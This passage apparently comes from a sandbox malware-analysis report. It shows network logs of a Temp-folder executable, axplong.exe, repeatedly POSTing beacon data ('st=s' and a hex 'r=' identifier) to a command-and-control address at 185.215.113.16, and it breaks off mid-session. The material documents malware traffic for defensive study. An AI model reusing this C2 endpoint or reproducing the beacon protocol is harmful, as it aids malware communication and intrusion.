Sep 27, 2024 11:31:14.642680883 CEST	80	65131	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:14.642889977 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:14.643163919 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:14.647994041 CEST	80	65131	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:15.349911928 CEST	80	65131	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:15.349987030 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.462517977 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.462826014 CEST	65132	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.468199968 CEST	80	65132	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:15.468348026 CEST	80	65131	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:15.471601963 CEST	65131	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.471771002 CEST	65132	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.471771002 CEST	65132	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:31:15.477094889 CEST	80	65132	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:16.183041096 CEST	80	65132	185.215.113.16	192.168.2.6
Sep 27, 2024 11:31:16.183110952 CEST	65132	80	192.168.2.6	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:29:53.326287985 CEST	53	50385	162.159.36.2	192.168.2.6
Sep 27, 2024 11:29:54.514117002 CEST	53	65274	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	65060	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:04.075659037 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:04.794305086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:04.796751022 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:05.025235891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	65061	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:05.143078089 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:05.844012022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:05.910186052 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:06.143379927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	65062	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:06.262881994 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:06.969969988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:06.970972061 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:07.201378107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	65063	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:07.309784889 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:08.027483940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:08.028548956 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:08.258482933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	65064	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:08.375638008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:09.085366964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:09.086894035 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:09.317621946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	65065	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:09.435410023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:10.160864115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:10.161812067 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:10.465637922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	65066	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:10.575356960 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:11.293389082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:11.294153929 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:11.524995089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	65067	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:11.640261889 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:12.346571922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:12.348256111 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:12.579307079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	65068	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:12.702795029 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:13.421040058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:13.421866894 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:13.653191090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	65069	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:13.763535976 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:14.455089092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:14.455976963 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:14.678169012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	65070	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:14.794277906 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:15.485001087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:15.485976934 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7FDA740CBF3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 11:30:15.707859039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	65071	185.215.113.16	80	1924	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 11:30:15.825481892 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 11:30:16.532732010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 09:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 11:30:16.533512115 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 44 41 37 34 30 43 42 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: 